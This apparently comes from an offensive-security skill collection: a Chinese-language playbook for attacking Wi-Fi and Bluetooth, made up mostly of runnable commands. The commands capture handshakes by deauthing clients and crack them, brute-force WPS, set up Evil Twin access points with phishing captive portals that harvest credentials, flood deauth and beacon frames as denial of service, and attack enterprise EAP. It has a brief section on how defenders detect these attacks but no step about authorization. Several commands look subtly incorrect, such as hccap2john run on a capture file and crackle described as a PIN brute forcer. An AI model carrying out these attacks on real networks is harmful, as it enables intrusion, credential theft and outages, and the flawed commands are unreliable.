attacking-wireless-networks

攻击无线网络

适用场景

• WiFi 渗透测试
• 无线网络安全评估
• 破解 WPA/WPA2/WPA3
• Evil Twin 和恶意 AP 攻击
• 无线侦察

不适用场景

• 有线网络攻击——使用 enumerating-network-services
• 破解捕获的握手包——使用 cracking-passwords
• Bluetooth（Classic/BLE）或 NFC——对于 GATT 枚举、卡片克隆和 RF 嗅探，请使用 attacking-bluetooth-nfc；本技能仅适用于 Wi-Fi
• Zigbee 或 Wi-Fi 以外的一般 SDR 工作——不在本技能的范围内
• 获得访问权限后的网络利用——接入网络后，转到 performing-reconnaissance

设置和工具

启用监控模式：

# Check wireless interface
iwconfig
iw dev

# Enable monitor mode
airmon-ng start wlan0
# Creates wlan0mon

# Or manually
ip link set wlan0 down
iw wlan0 set monitor none
ip link set wlan0 up

# Disable interfering processes
airmon-ng check kill

必备工具：

• aircrack-ng 套件
• Wireshark
• Kismet
• Reaver/Bully（WPS）
• Wifite（自动化）
• hcxtools/hcxdumptool
• Fluxion（Evil Twin）

WiFi 侦察

网络发现：

# Scan for networks
airodump-ng wlan0mon

# Scan specific channel
airodump-ng -c 6 wlan0mon

# Scan and save to file
airodump-ng -w capture wlan0mon

# Filter by BSSID
airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture wlan0mon

Kismet：

# Start Kismet
kismet

# Command line
kismet_server
kismet_client

# View in web UI
http://localhost:2501

WPA/WPA2 攻击

捕获握手包

# Method 1: Wait for client connection
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Method 2: Deauth clients to force reconnect
# In another terminal
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Or target specific client
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon

# Verify handshake captured
aircrack-ng capture-01.cap
# Look for "1 handshake"

破解握手包

Aircrack-ng：

# Crack with wordlist
aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

# With specific ESSID
aircrack-ng -w wordlist.txt -e "NetworkName" capture-01.cap

Hashcat：

# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 capture-01.cap

# Crack WPA/WPA2 (mode 22000)
hashcat -m 22000 hash.hc22000 wordlist.txt

# With rules
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/best64.rule

# Mask attack
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d

John the Ripper：

# Convert cap to john format
hccap2john capture-01.cap > hash.john

# Crack
john --wordlist=wordlist.txt hash.john

WPS 攻击

WPS 暴力破解（Reaver）

# Check WPS status
wash -i wlan0mon

# Reaver attack
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

# With delay (less aggressive)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -d 5

# Pixie Dust attack (if vulnerable)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K

Bully（替代方案）

# Standard attack
bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon

# Pixie Dust
bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon -d

Evil Twin 攻击

Fluxion

# Start Fluxion
./fluxion.sh

# Follow prompts to:
# 1. Select target network
# 2. Capture handshake
# 3. Create fake AP
# 4. Launch captive portal
# 5. Capture credentials

手动 Evil Twin

# Create rogue AP
hostapd rogue_ap.conf

# Sample hostapd.conf:
interface=wlan0mon
driver=nl80211
ssid=FreeWiFi
channel=6
hw_mode=g

# DHCP server
dnsmasq -C dnsmasq.conf

# Sample dnsmasq.conf:
interface=wlan0mon
dhcp-range=10.0.0.10,10.0.0.100,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8

# Captive portal (fake login page)
# Setup web server with phishing page

WPA3 攻击

Dragonblood

# Dragonblood toolkit
# Tests WPA3 vulnerabilities (CVE-2019-13377, CVE-2019-13456)

# Dictionary attack (downgrade to WPA2)
# If SAE (WPA3) and WPA2 transition mode enabled

SAE 暴力破解

# hashcat WPA3 (experimental)
hashcat -m 22000 hash.hc22000 wordlist.txt

拒绝服务

反认证攻击

# Deauth all clients
aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon

# Deauth specific client
aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon

# MDK3 (more aggressive)
mdk3 wlan0mon d -c 6

Beacon 泛洪

# MDK3 beacon flood
mdk3 wlan0mon b -f fake_aps.txt

# Create many fake APs
mdk3 wlan0mon b -n "FakeAP" -m -s 1000

自动化工具

Wifite

# Automated WiFi cracking
wifite

# Target WPA only
wifite --wpa

# Target WPS only
wifite --wps

# Specific BSSID
wifite -b AA:BB:CC:DD:EE:FF

# With custom wordlist
wifite --dict wordlist.txt

WiFi-Pumpkin（恶意 AP 框架）

# Launch WiFi-Pumpkin
wifi-pumpkin

# Features:
# - Rogue AP creation
# - MITM attacks
# - DNS spoofing
# - Captive portal
# - Traffic sniffing

企业 WiFi（WPA-Enterprise）

EAP-TLS/PEAP 攻击

# Capture EAP handshake
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w eap_capture wlan0mon

# Extract RADIUS traffic
tshark -r eap_capture-01.cap -Y "eap"

# Rogue RADIUS server
# hostapd-wpe (Wireless Pwnage Edition)
hostapd-wpe wpe.conf

# Crack captured hashes
asleap -r capture.dump -w wordlist.txt

数据包注入测试

# Test injection capability
aireplay-ng --test wlan0mon

# Fake authentication
aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF -h YOUR:MAC wlan0mon

# ARP replay attack
aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF -h YOUR:MAC wlan0mon

隐藏 SSID 发现

# Passive monitoring
airodump-ng wlan0mon
# Wait for client probe requests

# Active probing
mdk3 wlan0mon p -t AA:BB:CC:DD:EE:FF

# Deauth and capture beacon
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

Bluetooth 攻击

发现

# Scan for devices
hcitool scan

# Detailed info
hcitool info AA:BB:CC:DD:EE:FF

# Service discovery
sdptool browse AA:BB:CC:DD:EE:FF

BluetoothHunting

# Bluesnarfing (file access)
bluesnarfer -b AA:BB:CC:DD:EE:FF

# Bluejacking (send messages)
echo "Message" | bluejack AA:BB:CC:DD:EE:FF

# PIN brute force
crackle -i hci0 -o pin.txt

WiFi 渗透测试快速工作流

1. 监控模式——在无线适配器上启用监控模式
2. 侦察——扫描网络（airodump-ng/kismet）
3. 选择目标——选择网络（启用了 WPS 的网络更容易攻破）
4. 捕获握手包——取消客户端认证并捕获 4 次握手
5. 破解——使用 hashcat/aircrack-ng 破解
6. 后续利用——连接并执行 MITM/嗅探

常见突破点

• 启用了 WPS 的路由器——通常可用 Reaver 在几分钟内破解
• 弱密码——rockyou.txt 中包含常见的 WiFi 密码
• WPA2 过渡模式——允许降级攻击
• 开放的访客网络——无需身份验证
• 配置错误的企业网络——RADIUS 身份验证较弱

防御检测

• 无线 IDS（WIDS）可能会检测到：
  • 反认证攻击
  • 恶意接入点
  • Evil Twin 攻击
  • WPS 暴力破解尝试
• 请留意监控和物理安全

ATT&CK 覆盖范围

根据 secskills-core/ttp-index.json 生成——编辑该文件，然后运行 python3 scripts/sync_attack.py --write。在报告中引用 ID 前，请根据 当前 ATT&CK 版本再次核实。

凭据访问（TA0006）

• T1040 网络嗅探 （也属于发现）——另请参阅 enumerating-network-services
• T1557 中间人攻击 （也属于收集）——另请参阅 attacking-active-directory

这些技术对应的检测内容：engineering-detections。主动搜索：hunting-threats。入侵后的响应：responding-to-incidents。

参考资料

• https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-wifi
• https://www.aircrack-ng.org/
• https://github.com/wifiphisher/wifiphisher
• https://www.kali.org/tools/